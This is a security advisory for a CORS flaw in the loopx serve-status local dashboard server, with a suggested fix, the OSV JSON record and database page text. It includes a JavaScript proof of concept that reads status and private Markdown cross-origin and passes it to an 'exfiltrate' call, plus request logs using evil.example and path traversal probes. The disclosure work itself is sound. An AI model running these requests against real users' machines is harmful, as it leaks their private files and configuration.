GHSA-VX2M-GPQ4-8J5Q
Vulnerability from github – Published: 2026-10-19 16:11 – Updated: 2026-10-19 16:11Summary
loopx serve-status sends Access-Control-Allow-Origin: * on every response,
including its unauthenticated GET routes. Because the endpoint is unauthenticated and
bound to a fixed, well-known loopback port, any website the operator visits can read
LoopX control-plane state and the contents of Markdown files inside every registered goal
repo, using a plain fetch() with no user interaction.
The write endpoints are not affected — they are correctly Origin-checked. This report is strictly about the read paths.
Impact
While loopx serve-status is running, a page on any origin can run:
// no interaction, no preflight, no credentials needed
const s = await (await fetch('http://127.0.0.1:8766/status.json')).json();
for (const g of s.goals ?? []) {
const m = await (await fetch(
`http://127.0.0.1:8766/review-material?goal_id=${g.id}&path=design-notes.md`
)).json();
exfiltrate(m.content);
}
and read back:
GET /status.json— the whole status projection: goal ids, run history, and local absolute paths (registry,runtime_root). With--global-registrythis covers every project registered on the machine, not just one.GET /review-material?goal_id=…&path=…— the content of any.md/.markdownfile under a goal's repo root, state dir, or runtime dir. In practice that is the operator's private design notes, handoff docs, and evidence write-ups.GET /— endpoint discovery, including which write APIs are enabled.POST /control-plane/configure-goal/dry-run— this route has no Origin check at all, anddo_OPTIONSreturnsAccess-Control-Allow-Headers: Content-Type, so a cross-origin JSON POST passes preflight. The response leaks thebefore/aftercontrol-plane configuration for a goal. (It does not write — I verifiedwritten=false.)
docs/public-private-boundary.md classifies "local absolute paths", "task ids", "raw logs
and metrics" and "active goal state that reveals current user context" as material that
must stay private. All of it is currently readable by any origin.
Two things make this more than theoretical:
- Fixed default ports.
8765(project) and8766(global) are hardcoded defaults, so an attacker page can simply try both — no discovery step needed. - It is documented as a persistent service.
docs/guides/getting-started.mddocumentsloopx serve-status, andscripts/macos-dashboard-launchagent.shinstalls a LaunchAgent that keepsserve-status --global-registry --port 8766running after every login. For anyone following that guide, this is an always-on, machine-wide read surface.
I have graded this High on the basis of zero-interaction exfiltration of private local material from a persistent service. It is read-only and scope-limited, so if you read the exposure as lower I would not argue the point — you know your users' setups better than I do.
Location
loopx/status_server.py:136-146 — StatusRequestHandler._send_json():
def _send_json(self, payload: dict[str, Any], *, status: int = 200) -> None:
...
self.send_header("Access-Control-Allow-Origin", "*") # <-- line 142
_send_json is the single response path for all routes, so the wildcard is applied to
/status.json, /review-material, /healthz, / and the dry-run POSTs alike.
do_OPTIONS (:148-153) repeats it.
Confirmed present at main HEAD (b0c8e315, blob c9e53d1a) at the time of writing.
What is NOT affected (I checked, so you don't have to)
I tried to refute this before reporting. These controls all hold:
- Writes are properly defended. With
--enable-reward-write-apiand--enable-control-plane-write-apiboth on,POST /reward/appendandPOST /control-plane/configure-goal/applyreturn 403 "only accepts loopback browser origins" for a foreignOrigin.is_loopback_origin()does its job. There is no cross-origin write, and DNS rebinding does not defeat it either (the rebound page still carries its own non-loopback origin). - No path traversal.
../../../../etc/hostname→ 400; an absolute.mdoutside the goal roots → 400 ("outside the goal repo/state/runtime roots").path_is_under()is correct. - Extension allowlist holds.
secrets.envinside the repo → 400. Only.md/.markdowncan be read. - Dry-run does not write.
configure_goal_with_global_sync(execute=False)returns before any write; I observedwritten=false.
So the exposure is confined to: status JSON + Markdown under registered goal roots. That is still private material, but it is not arbitrary file read and it is not remote code execution.
Proof of concept
Run against an unmodified clone at HEAD, default flags (no write APIs enabled):
GET /healthz Origin: https://evil.example -> 200 ACAO: '*'
GET / Origin: https://evil.example -> 200 ACAO: '*'
GET /status.json Origin: https://evil.example -> 200 ACAO: '*'
GET /review-material?goal_id=victim-goal&path=internal-design-notes.md
Origin: https://evil.example -> 200 ACAO: '*'
content: "# Internal notes\n\nPROD_DB_HOST=db.internal.corp\nCONFIDENTIAL: ..."
The file content came back verbatim to a foreign origin. Matched controls from the same harness, with both write flags enabled (i.e. the configuration most favourable to the current design):
POST /reward/append Origin: https://evil.example -> 403 (origin check)
POST /control-plane/configure-goal/apply Origin: https://evil.example -> 403 (origin check)
GET /review-material ../../../../etc/hostname -> 400 (traversal blocked)
GET /review-material <abs path outside roots>.md -> 400 (root check)
GET /review-material secrets.env -> 400 (extension check)
GET /status.json Origin: https://evil.example -> 200 ACAO '*' <-- still readable
I am happy to send the exact harness script if it is useful; it is ~120 lines of stdlib Python and touches no file in the repo.
Suggested fix
You already have the right predicate in this file — is_loopback_origin(). The minimal fix
is to stop emitting the wildcard and instead echo the request origin only when it passes
that check:
def _send_json(self, payload: dict[str, Any], *, status: int = 200) -> None:
body = json.dumps(payload, ensure_ascii=False, indent=2).encode("utf-8")
self.send_response(status)
self.send_header("Content-Type", "application/json; charset=utf-8")
self.send_header("Content-Length", str(len(body)))
self.send_header("Cache-Control", "no-store")
origin = self.headers.get("Origin")
if origin and is_loopback_origin(origin):
self.send_header("Access-Control-Allow-Origin", origin)
self.send_header("Vary", "Origin")
# no Origin header (curl, the CLI, a same-origin fetch) -> send no ACAO at all
self.end_headers()
self.wfile.write(body)
and the same in do_OPTIONS. This keeps the dashboard working — it is served from
http://127.0.0.1:5174 and fetches 127.0.0.1:8765/8766, which is cross-origin between two
loopback ports, which I assume is exactly why the wildcard was added — while denying every
non-loopback origin.
Two optional hardening steps, if you want them:
- Apply the existing
is_loopback_origin()check toPOST /control-plane/configure-goal/dry-runandPOST /reward/dry-runtoo, so the config projection is not readable cross-origin. - Add a
Hostheader check (reject aHostthat is not loopback) to close DNS rebinding against clients that do not sendOrigin.
Scope of review
Reviewed 26/52 identified entrypoints across 758 files (360,618 LOC) of the loopx package
and dashboard; tools: semgrep 1.172.0, trufflehog 3.96.0, osv-scanner 2.4.0, plus a manual
dataflow pass. Skipped: tests/, regression/, examples/, docs/, and the benchmark
adapters under loopx/benchmark_adapters/. Coverage confidence: partial.
Other things I looked at and did not find a problem with, in case it saves you time:
self-update (curl | bash is over HTTPS to a hardcoded raw.githubusercontent.com URL; the
LOOPX_ARCHIVE_URL override requires environment control, i.e. privileges the attacker
would have to already have); project/slash-command skill installation (strict id regex plus
_assert_project_boundary() containment); the shell=True worker tick (the value is a
user-configured shell command by design, and demo_supervisor.build_visible_worker_turn_command
passes the objective through shlex.quote); outbound SSRF surfaces (content_ops/surface.py
blocks private/loopback/link-local ranges and refuses redirects). No pickle, yaml.load,
eval, or os.system anywhere in the package.
3 dependency advisories exist in dev/docs tooling only (pymdown-extensions, idna,
postcss); none are reachable from the runtime package, which declares no dependencies, so
I have not opened a bump PR.
Detected by
Aeon, an automated security review. Findings are
reproduced at HEAD and manually verified before reporting. Reported privately via GitHub PVR
because that is the intake channel your SECURITY.md designates.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "loopx"
},
"ranges": [
{
"events": [
{
"introduced": "0.0.1"
},
{
"fixed": "0.4.5"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-108372"
],
"database_specific": {
"cwe_ids": [
"CWE-346",
"CWE-942"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-19T16:11:57Z",
"nvd_published_at": "2026-10-16T22:17:14Z",
"severity": "HIGH"
},
"details": "## Summary\n\n`loopx serve-status` sends `Access-Control-Allow-Origin: *` on **every** response,\nincluding its unauthenticated `GET` routes. Because the endpoint is unauthenticated and\nbound to a fixed, well-known loopback port, **any website the operator visits can read\nLoopX control-plane state and the contents of Markdown files inside every registered goal\nrepo**, using a plain `fetch()` with no user interaction.\n\nThe write endpoints are *not* affected \u2014 they are correctly Origin-checked. This report is\nstrictly about the **read** paths.\n\n## Impact\n\nWhile `loopx serve-status` is running, a page on any origin can run:\n\n```js\n// no interaction, no preflight, no credentials needed\nconst s = await (await fetch(\u0027http://127.0.0.1:8766/status.json\u0027)).json();\nfor (const g of s.goals ?? []) {\n const m = await (await fetch(\n `http://127.0.0.1:8766/review-material?goal_id=${g.id}\u0026path=design-notes.md`\n )).json();\n exfiltrate(m.content);\n}\n```\n\nand read back:\n\n* **`GET /status.json`** \u2014 the whole status projection: goal ids, run history, and local\n absolute paths (`registry`, `runtime_root`). With `--global-registry` this covers\n **every project registered on the machine**, not just one.\n* **`GET /review-material?goal_id=\u2026\u0026path=\u2026`** \u2014 the *content* of any `.md`/`.markdown`\n file under a goal\u0027s repo root, state dir, or runtime dir. In practice that is the\n operator\u0027s private design notes, handoff docs, and evidence write-ups.\n* **`GET /`** \u2014 endpoint discovery, including which write APIs are enabled.\n* **`POST /control-plane/configure-goal/dry-run`** \u2014 this route has **no Origin check at\n all**, and `do_OPTIONS` returns `Access-Control-Allow-Headers: Content-Type`, so a\n cross-origin JSON POST passes preflight. The response leaks the `before`/`after`\n control-plane configuration for a goal. (It does not write \u2014 I verified `written=false`.)\n\n`docs/public-private-boundary.md` classifies \"local absolute paths\", \"task ids\", \"raw logs\nand metrics\" and \"active goal state that reveals current user context\" as material that\nmust stay private. All of it is currently readable by any origin.\n\nTwo things make this more than theoretical:\n\n1. **Fixed default ports.** `8765` (project) and `8766` (global) are hardcoded defaults, so\n an attacker page can simply try both \u2014 no discovery step needed.\n2. **It is documented as a persistent service.** `docs/guides/getting-started.md` documents\n `loopx serve-status`, and `scripts/macos-dashboard-launchagent.sh` installs a LaunchAgent\n that keeps `serve-status --global-registry --port 8766` running **after every login**. For\n anyone following that guide, this is an always-on, machine-wide read surface.\n\nI have graded this **High** on the basis of zero-interaction exfiltration of private local\nmaterial from a persistent service. It is read-only and scope-limited, so if you read the\nexposure as lower I would not argue the point \u2014 you know your users\u0027 setups better than I do.\n\n## Location\n\n`loopx/status_server.py:136-146` \u2014 `StatusRequestHandler._send_json()`:\n\n```python\ndef _send_json(self, payload: dict[str, Any], *, status: int = 200) -\u003e None:\n ...\n self.send_header(\"Access-Control-Allow-Origin\", \"*\") # \u003c-- line 142\n```\n\n`_send_json` is the single response path for *all* routes, so the wildcard is applied to\n`/status.json`, `/review-material`, `/healthz`, `/` and the dry-run POSTs alike.\n`do_OPTIONS` (`:148-153`) repeats it.\n\nConfirmed present at `main` HEAD (`b0c8e315`, blob `c9e53d1a`) at the time of writing.\n\n## What is NOT affected (I checked, so you don\u0027t have to)\n\nI tried to refute this before reporting. These controls all hold:\n\n* **Writes are properly defended.** With `--enable-reward-write-api` and\n `--enable-control-plane-write-api` both on, `POST /reward/append` and\n `POST /control-plane/configure-goal/apply` return **403 \"only accepts loopback browser\n origins\"** for a foreign `Origin`. `is_loopback_origin()` does its job. There is no\n cross-origin write, and DNS rebinding does not defeat it either (the rebound page still\n carries its own non-loopback origin).\n* **No path traversal.** `../../../../etc/hostname` \u2192 400; an absolute `.md` outside the\n goal roots \u2192 400 (\"outside the goal repo/state/runtime roots\"). `path_is_under()` is\n correct.\n* **Extension allowlist holds.** `secrets.env` inside the repo \u2192 400. Only `.md`/`.markdown`\n can be read.\n* **Dry-run does not write.** `configure_goal_with_global_sync(execute=False)` returns\n before any write; I observed `written=false`.\n\nSo the exposure is confined to: status JSON + Markdown under registered goal roots. That is\nstill private material, but it is not arbitrary file read and it is not remote code\nexecution.\n\n## Proof of concept\n\nRun against an unmodified clone at HEAD, **default flags** (no write APIs enabled):\n\n```\nGET /healthz Origin: https://evil.example -\u003e 200 ACAO: \u0027*\u0027\nGET / Origin: https://evil.example -\u003e 200 ACAO: \u0027*\u0027\nGET /status.json Origin: https://evil.example -\u003e 200 ACAO: \u0027*\u0027\nGET /review-material?goal_id=victim-goal\u0026path=internal-design-notes.md\n Origin: https://evil.example -\u003e 200 ACAO: \u0027*\u0027\n content: \"# Internal notes\\n\\nPROD_DB_HOST=db.internal.corp\\nCONFIDENTIAL: ...\"\n```\n\nThe file content came back verbatim to a foreign origin. Matched controls from the same\nharness, with **both write flags enabled** (i.e. the configuration most favourable to the\ncurrent design):\n\n```\nPOST /reward/append Origin: https://evil.example -\u003e 403 (origin check)\nPOST /control-plane/configure-goal/apply Origin: https://evil.example -\u003e 403 (origin check)\nGET /review-material ../../../../etc/hostname -\u003e 400 (traversal blocked)\nGET /review-material \u003cabs path outside roots\u003e.md -\u003e 400 (root check)\nGET /review-material secrets.env -\u003e 400 (extension check)\nGET /status.json Origin: https://evil.example -\u003e 200 ACAO \u0027*\u0027 \u003c-- still readable\n```\n\nI am happy to send the exact harness script if it is useful; it is ~120 lines of stdlib\nPython and touches no file in the repo.\n\n## Suggested fix\n\nYou already have the right predicate in this file \u2014 `is_loopback_origin()`. The minimal fix\nis to stop emitting the wildcard and instead echo the request origin only when it passes\nthat check:\n\n```python\ndef _send_json(self, payload: dict[str, Any], *, status: int = 200) -\u003e None:\n body = json.dumps(payload, ensure_ascii=False, indent=2).encode(\"utf-8\")\n self.send_response(status)\n self.send_header(\"Content-Type\", \"application/json; charset=utf-8\")\n self.send_header(\"Content-Length\", str(len(body)))\n self.send_header(\"Cache-Control\", \"no-store\")\n origin = self.headers.get(\"Origin\")\n if origin and is_loopback_origin(origin):\n self.send_header(\"Access-Control-Allow-Origin\", origin)\n self.send_header(\"Vary\", \"Origin\")\n # no Origin header (curl, the CLI, a same-origin fetch) -\u003e send no ACAO at all\n self.end_headers()\n self.wfile.write(body)\n```\n\nand the same in `do_OPTIONS`. This keeps the dashboard working \u2014 it is served from\n`http://127.0.0.1:5174` and fetches `127.0.0.1:8765/8766`, which is cross-origin between two\nloopback ports, which I assume is exactly why the wildcard was added \u2014 while denying every\nnon-loopback origin.\n\nTwo optional hardening steps, if you want them:\n\n* Apply the existing `is_loopback_origin()` check to `POST /control-plane/configure-goal/dry-run`\n and `POST /reward/dry-run` too, so the config projection is not readable cross-origin.\n* Add a `Host` header check (reject a `Host` that is not loopback) to close DNS rebinding\n against clients that do not send `Origin`.\n\n## Scope of review\n\nReviewed 26/52 identified entrypoints across 758 files (360,618 LOC) of the `loopx` package\nand dashboard; tools: semgrep 1.172.0, trufflehog 3.96.0, osv-scanner 2.4.0, plus a manual\ndataflow pass. Skipped: `tests/`, `regression/`, `examples/`, `docs/`, and the benchmark\nadapters under `loopx/benchmark_adapters/`. Coverage confidence: partial.\n\nOther things I looked at and did **not** find a problem with, in case it saves you time:\nself-update (`curl | bash` is over HTTPS to a hardcoded `raw.githubusercontent.com` URL; the\n`LOOPX_ARCHIVE_URL` override requires environment control, i.e. privileges the attacker\nwould have to already have); project/slash-command skill installation (strict id regex plus\n`_assert_project_boundary()` containment); the `shell=True` worker tick (the value is a\nuser-configured shell command by design, and `demo_supervisor.build_visible_worker_turn_command`\npasses the objective through `shlex.quote`); outbound SSRF surfaces (`content_ops/surface.py`\nblocks private/loopback/link-local ranges and refuses redirects). No `pickle`, `yaml.load`,\n`eval`, or `os.system` anywhere in the package.\n\n3 dependency advisories exist in dev/docs tooling only (`pymdown-extensions`, `idna`,\n`postcss`); none are reachable from the runtime package, which declares no dependencies, so\nI have not opened a bump PR.\n\n## Detected by\n\n[Aeon](https://github.com/aeonfun/aeon), an automated security review. Findings are\nreproduced at HEAD and manually verified before reporting. Reported privately via GitHub PVR\nbecause that is the intake channel your `SECURITY.md` designates.",
"id": "GHSA-vx2m-gpq4-8j5q",
"modified": "2026-10-19T16:11:57Z",
"published": "2026-10-19T16:11:57Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/huangruiteng/loopx/security/advisories/GHSA-vx2m-gpq4-8j5q"
},
{
"type": "WEB",
"url": "https://github.com/loopx-project/loopx/security/advisories/GHSA-vx2m-gpq4-8j5q"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-108372"
},
{
"type": "WEB",
"url": "https://github.com/loopx-project/loopx/pull/3137"
},
{
"type": "WEB",
"url": "https://github.com/loopx-project/loopx/commit/838720fba42bd22f71b5bb763ec406f7bdf4c940"
},
{
"type": "PACKAGE",
"url": "https://github.com/huangruiteng/loopx"
},
{
"type": "WEB",
"url": "https://github.com/loopx-project/loopx/releases/tag/v0.4.5"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "LoopX serve-status permissive CORS policy exposes control-plane state and private Markdown files"
}
Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline
Sightings and recorded dates, grouped by day · UTC
Loading timeline…
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.